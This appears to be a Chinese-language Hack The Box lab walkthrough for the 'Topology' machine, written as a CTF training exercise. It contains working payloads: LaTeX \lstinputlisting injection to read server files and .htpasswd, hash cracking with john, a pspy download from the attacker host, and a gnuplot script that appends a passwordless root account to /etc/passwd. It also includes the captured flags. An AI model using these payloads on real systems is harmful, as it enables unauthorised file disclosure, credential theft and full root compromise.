目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
提取并保存靶机TCP开放端口号
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
使用浏览器访问靶机80端口
将靶机IP与域名进行绑定使DNS从本地解析
使用ffuf对该域名进行路径FUZZ
与此同时,在该页面我还注意到了一个超链接
将靶机IP与该子域名进行绑定使DNS从本地解析
使用ffuf尝试爆破其他子域名
将这两个子域名与靶机IP进行绑定
使用浏览器访问子域名latex.topology.htb
边界突破
使用searchsploit搜索该WebAPP
回到子域名文件列表查看header.tex文件
通过页面下方的示例及大模型检索该WebAPP语法,我尝试利用该包进行漏洞利用
尝试在输入框中键入:\listings{/etc/passwd}
在输入框中键入:$\listings{/etc/passwd}$
我使用大模型对该包的语法进行检索
在输入框中键入:$\lstinputlisting{/etc/passwd}$
但是只能盲目查看靶机本地文件难以突破,我尝试查看靶机的其他子域名
子域名:stats.topology.htb
使用wappalyzer插件查看该页技术栈
使用ffuf对该子域名进行路径FUZZ
子域名:dev.topology.htb
使用wappalyzer插件查看该页技术栈
使用ffuf对该子域名进行路径FUZZ
由于靶机所有子域名包括主域名均使用Apache服务器,因此我尝试读取Apache对Web的设置文件,它的位置通常是固定的
由于.htaccess通常记录着.htpasswd路径,而.htaccess文件通常位于Web服务器的document root路径下,因此我尝试读取.htaccess文件内容
尝试直接读取.htpasswd文件内容
使用john对该哈希值进行字典爆破
使用上述凭证登录靶机SSH服务
在/home/vdaisley目录下可见user.txt文件
权限提升
查看当前用户可sudo执行的文件
查找靶机内的SUID文件
查找靶机内CAP_SUID能力文件
查看靶机网络连接
查看靶机内的进程
控制靶机从攻击机中将pspy64进行下载
尝试列出该目录文件内容
通过大模型查询该命令语法
将该脚本文件移动到/opt/gnuplot目录下
重新创建一个脚本,使其在/etc/passwd文件追加一个空密码的root用户0dayhp
连接至HTB服务器并启动靶机
靶机IP:10.10.11.217
分配IP:10.10.16.13
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.11.217 -r 1-65535 --ulimit 5000 | tee res
提取并保存靶机TCP开放端口号
ports=$(grep syn-ack res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep syn-ack res | cut -d/ -f1 | paste -sd,
22,80
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep syn-ack res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
22,80
使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -sT -p$ports -sCV -Pn 10.10.11.217
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.11.217
使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.217
使用浏览器访问靶机80端口
- 页面展示,我先注意到了邮箱后的域名
将靶机IP与域名进行绑定使DNS从本地解析
sed -i '1i 10.10.11.217 topology.htb' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.217 topology.htb' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n1 /etc/hosts
10.10.11.217 topology.htb
使用ffuf对该域名进行路径FUZZ
ffuf -u http://topology.htb/FUZZ -w ../dictionary/Entire-Dir.txt -t 200
与此同时,在该页面我还注意到了一个超链接
- 点击后跳转至:http://latex.topology.htb/equation.php
将靶机IP与该子域名进行绑定使DNS从本地解析
sed -i '1i 10.10.11.217 latex.topology.htb' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.217 latex.topology.htb' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n2 /etc/hosts
10.10.11.217 latex.topology.htb
10.10.11.217 topology.htb
使用ffuf尝试爆破其他子域名
将这两个子域名与靶机IP进行绑定
sed -i '1i 10.10.11.217 dev.topology.htb\n10.10.11.217 stats.topology.htb' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.217 dev.topology.htb\n10.10.11.217 stats.topology.htb' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n4 /etc/hosts
10.10.11.217 dev.topology.htb
10.10.11.217 stats.topology.htb
10.10.11.217 latex.topology.htb
10.10.11.217 topology.htb
使用浏览器访问子域名latex.topology.htb
- 就如一开始点击超链接跳转的那样,我选择优先查看equation.php文件
使用此公式生成器创建.PNG文件。
请在文本字段中输入LaTeX内联数学模式语法(目前仅支持oneliner)。点击“生成”将直接返回一个.PNG文件,您可以使用Ctrl+S(或Command+S,如果在Mac上)保存。
- 于是乎,根据描述我尝试输入:ImHandsomeBoy
边界突破
使用searchsploit搜索该WebAPP
searchsploit latex
- 显然,没有符合的PoC
回到子域名文件列表查看header.tex文件
- 其中的\usepackage{listings}引起了我的注意,这不就是文件包含吗?
通过页面下方的示例及大模型检索该WebAPP语法,我尝试利用该包进行漏洞利用
尝试在输入框中键入:\listings{/etc/passwd}
- 页面响应后却是一片空白
- 于是乎我对页面中的LaTeX内联数学模式语法进行检索
在输入框中键入:$\listings{/etc/passwd}$
- 出乎意料的还是一片空白 :)
我使用大模型对该包的语法进行检索
- 由输出可知,该包中使用\lstinputlisting来插入代码块
在输入框中键入:$\lstinputlisting{/etc/passwd}$
但是只能盲目查看靶机本地文件难以突破,我尝试查看靶机的其他子域名
子域名:stats.topology.htb
使用wappalyzer插件查看该页技术栈
使用ffuf对该子域名进行路径FUZZ
- 该域名下可见.htpasswd这是个存储Web用户认证信息的文件
子域名:dev.topology.htb
- 提示需要凭证
使用wappalyzer插件查看该页技术栈
使用ffuf对该子域名进行路径FUZZ
ffuf -u http://dev.topology.htb/FUZZ -w ../dictionary/Common-dir.txt -fl 15
- 在该子域名下同样可见.htpasswd文件
由于靶机所有子域名包括主域名均使用Apache服务器,因此我尝试读取Apache对Web的设置文件,它的位置通常是固定的
Apache网页设置文件路径:/etc/apache2/sites-available/000-default.conf
- 在/equation.php输入框中键入:$\lstinputlisting{/etc/apache2/sites-available/000-default.conf}$
- 由页面展示可知,靶机Web文件根目录路径:/var/www/stats、/var/www/dev、/var/www/latex、/var/www/html
由于.htaccess通常记录着.htpasswd路径,而.htaccess文件通常位于Web服务器的document root路径下,因此我尝试读取.htaccess文件内容
- 尝试:$\lstinputlisting{/var/www/html/.htaccess}$。结果:响应空白页
- 尝试:$\lstinputlisting{/var/www/stats/.htaccess}$。结果:响应空白页
- 尝试:$\lstinputlisting{/var/www/dev/.htaccess}$。结果:/var/www/dev/.htpasswd
尝试直接读取.htpasswd文件内容
- 在输入框中键入:$\lstinputlisting{/var/www/dev/.htpasswd}$
vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0
- 将该哈希值保存到hash文件中以便爆破
echo 'vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0' > hash
使用john对该哈希值进行字典爆破
john hash --wordlist=../dictionary/rockyou.txt
账户:vdaisley
密码:calculus20
使用上述凭证登录靶机SSH服务
ssh vdaisley@10.10.11.217
在/home/vdaisley目录下可见user.txt文件
vdaisley@topology:~$ pwd
/home/vdaisley
vdaisley@topology:~$ ls
user.txt
vdaisley@topology:~$ cat user.txt
eb086c38cf5973e66fcfdf9b445d8a21
权限提升
查看当前用户可sudo执行的文件
sudo -l
vdaisley@topology:~$ sudo -l
[sudo] password for vdaisley:
Sorry, user vdaisley may not run sudo on topology.
查找靶机内的SUID文件
find / -perm -4000 -type f -ls 2>/dev/null
查找靶机内CAP_SUID能力文件
getcap -r / 2>/dev/null | grep -i cap_suid
- 执行后无事发生
查看靶机网络连接
ss -tlnp
查看靶机内的进程
ps -aux
控制靶机从攻击机中将pspy64进行下载
curl -O http://10.10.16.13:6666/pspy64
vdaisley@topology:~$ ls
user.txt
vdaisley@topology:~$ curl -O http://10.10.16.13:6666/pspy64
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 3032k 100 3032k 0 0 884k 0 0:00:03 0:00:03 --:--:-- 883k
vdaisley@topology:~$ ls
pspy64 user.txt
- 为该文件赋执行权限
chmod +x pspy64
- 执行该文件
./pspy64
- 由输出可见,靶机系统内正在由root用户执行一个定时任务
- 其任务具体为:在/opt/gnuplot目录下,不断查找.plt文件,并通过gnuplot处理这些文件
尝试列出该目录文件内容
ls /opt/gnuplot
vdaisley@topology:~$ ls /opt/gnuplot
ls: cannot open directory '/opt/gnuplot': Permission denied
- 由于权限不足,我转而查看该目录权限分配情况
ls -ld /opt/gnuplot
vdaisley@topology:~$ ls -ld /opt/gnuplot
drwx-wx-wx 2 root root 4096 Jun 14 2023 /opt/gnuplot
- 由输出可见,除去文件所有者拥有所有权限外,其他用户都拥有写入、执行权限
通过大模型查询该命令语法
- 复制脚本
set print "/tmp/output.txt"print system("whoami")set print
将该脚本文件移动到/opt/gnuplot目录下
cp temp.plt /opt/gnuplot
- 不多时,在/tmp目录下可见命令执行结果
vdaisley@topology:/tmp$ ls
linpeas.sh
output.txt
systemd-private-7bcc2bff28904d0eb86bf73eb9aec5df-apache2.service-IKmS1i
systemd-private-7bcc2bff28904d0eb86bf73eb9aec5df-ModemManager.service-QKnKch
systemd-private-7bcc2bff28904d0eb86bf73eb9aec5df-systemd-logind.service-eGxbSg
systemd-private-7bcc2bff28904d0eb86bf73eb9aec5df-systemd-resolved.service-jy6JBf
systemd-private-7bcc2bff28904d0eb86bf73eb9aec5df-systemd-timesyncd.service-0GBPbi
tmux-1007
vmware-root_676-2731021186
vdaisley@topology:/tmp$ cat output.txt
root
重新创建一个脚本,使其在/etc/passwd文件追加一个空密码的root用户0dayhp
set print "/tmp/output.txt"print system("echo '0dayhp::0:0:0dayhp:/root:/bin/bash' >> /etc/passwd")set print
- 等待一分钟,再查看/etc/passwd文件可见该用户被成功追加
- 直接切换到该用户
su 0dayhp
vdaisley@topology:~$ su 0dayhp
root@topology:/home/vdaisley# id
uid=0(root) gid=0(root) groups=0(root)
root@topology:/home/vdaisley# whoami
root
- 最后,在/root目录下找到了root.txt文件
root@topology:~# pwd
/root
root@topology:~# ls
root.txt
root@topology:~# cat root.txt
072610980f24f146f3ea8d62394de75c